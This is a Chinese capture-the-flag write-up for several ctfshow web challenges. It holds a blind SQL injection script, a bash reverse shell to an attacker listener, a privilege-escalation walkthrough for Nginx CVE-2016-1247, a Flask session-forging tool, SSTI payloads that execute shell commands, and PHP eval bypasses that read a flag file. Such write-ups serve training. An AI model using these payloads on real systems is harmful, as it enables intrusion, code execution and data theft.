[ctfshow内部赛]web wp

签到

F12,有register.php

import requests
import re

url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php"
url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):
    payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"
    print(payload)
    s = requests.session()
    data1 = {
        'e': str(i + 30) + "',username=" + payload,
        'u': "*/#",
        'p': i + 30
    }
    # print(data1['e'])
    r1 = s.post(url1, data=data1)
    data2 = {
        'e': i + 30,
        'p': i + 30
    }
    r2 = s.post(url2, data=data2)
    t = r2.text
    real = re.findall("Hello (.*?),", t)[0]
    flag += real
    print(flag)

运行结束后将所得数字16进制转字符串两次即可

出题人不想跟你说话.jpg

为了降低难度,漏洞大约每两分钟触发一次

hint1: whoami && ls -l /

hint2:如你们所说,提权,看看服务器有什么服务

image-20211103211643174

猜测可以使用菜刀连接,密码为cai,进入根目录发现flag,但没有权限打开,猜测需要提权

image-20211103212009458

漏洞每两分钟触发一次,可能有定时任务:cat /etc/crontab

image-20211103212232274

发现底部有一个一分钟的定时任务

先看看基本信息

lsb_release -a,列出所有linux系统版本信息
nginx -v,列出nginx版本信息

得到

Ubuntu 14.04.5 LTS
nginx/1.4.6 (Ubuntu)

找到利用漏洞:Nginx权限提升漏洞(CVE-2016-1247)

下述版本之前均存在此漏洞:

 Debian: Nginx1.6.2-5+deb8u3
 Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
 Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
 Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

下载对应POC(第V部分):CVE-2016-1247

将POC上传到服务器

注意:创建POC需要在linux系统中创建,否则运行时会报错“/bin/bash^M: bad interpreter: No such file or directory”,这是由于脚本文件的格式不同,linux却是只能执行格式为unix格式的脚本。如果在windows下创建则会变成dos格式。

通过cat -A filename查看格式,dos格式的文件行尾为^M$ ,unix格式的文件行尾为$。

image-20211103214523387

使用自己的服务器监听用于反弹shell

nc -lvvn 39543

在被攻击服务器上开启反弹

bash -i >& /dev/tcp/addr/port 0>&1

image-20211103223227243

反弹成功后运行POC

chmod a+rwx nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log

Linux chmod(英文全拼:change mode)命令是控制用户对文件的权限的命令,这里a代表所有用户,+ 表示增加权限,r 表示可读取,w 表示可写入,x 表示可执行。

image-20211103223355471

等待漏洞生效即可拿到shell

image-20211103223135821

蓝瘦

flask session伪造

SSTI

开头进入是一个登录框,F12发现

param: ctfshow
key: ican

随便输入登录,获得了session且显示admin

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本有加密和解密两种功能

解密:
python flask_session_manager.py decode -c -s 
# -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:
python flask_session_manager.py encode -s -t 
# -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

猜测密钥为ican,这里我们先解密得到:

{'username': '123'}

修改用户名为admin再加密,对原有cookie进行替换

成功登录后提示缺少请求参数,猜想是ssti

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

由于题目提示:内存flag

查看环境变量

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{% endif %}{% endfor %}

一览无余

CVE-2019-11043

利用工具:PHuiP-FPizdaM

登录就有flag

sql注入

  • 长度限制为5
  • 存在过滤且过滤的字符会有回显

'可以用于闭合,#可以用于注释,^进行异或运算,=就是判等

利用空异或0会查到所有非数字开头的记录

payload

'^0#   '^''#   '<>1#   '<1#   '&0#   '<<0#   '>>0#   '&''#   '/9#

签退

<?php 
($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

绕过或变量覆盖

?S=a;system('cat ../../flag.txt');
?S=a=system('cat ../../flag.txt');

参考链接:

http://blog.leanote.com/post/snowming/9da184ef24bd

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码

)">
< <上一篇
下一篇>>